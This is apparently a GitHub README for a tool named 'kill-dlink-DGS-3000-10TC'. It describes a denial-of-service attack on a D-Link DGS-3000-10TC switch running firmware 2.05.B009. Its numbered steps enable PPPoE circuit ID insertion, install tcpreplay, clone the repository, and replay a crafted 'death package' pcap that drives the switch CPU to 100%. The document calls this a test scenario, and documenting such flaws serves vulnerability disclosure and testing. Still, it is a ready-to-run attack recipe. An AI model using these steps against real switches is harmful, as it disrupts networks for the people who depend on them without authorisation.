MakselPr / kill-dlink-DGS-3000-10TC

Test scenario for testing D-Link DGS-3000-10TC hw switch: A2. firmware 2.05.B009. This is a specially crafted package that provides 100% CPU utilization.

kill-dlink-DGS-3000-10TC-

Initial data:

DGS-3000-10TC Firmware: Build 4.18.B007 Boot PROM Version : Build 2.00.001 Firmware Version : Build 2.05.B009 Hardware Version : A2 (or Build 2.05.B008)

When a broken pppoed packet comes to the switch - cpu 100%

1. Enable the function on the switch. The goal is for the switch processor to accept pppoed. globally:

    config pppoe circuit_id_insertion state enable
   

   and on any port:

    config pppoe circuit_id_insertion ports 1 state enable
   

2. Install tcpreplay

   for example in debian:

   apt install tcpreplay

3. Get a death package

   git clone https://github.com/MakselPr/kill-dlink-DGS-3000-10TC.git

4. Run the command:

   cd kill-dlink-DGS-3000-10TC

   tcpreplay -i eth1 death_package.pcap

   where eth1 this is the network card connected to the switch

Thank you.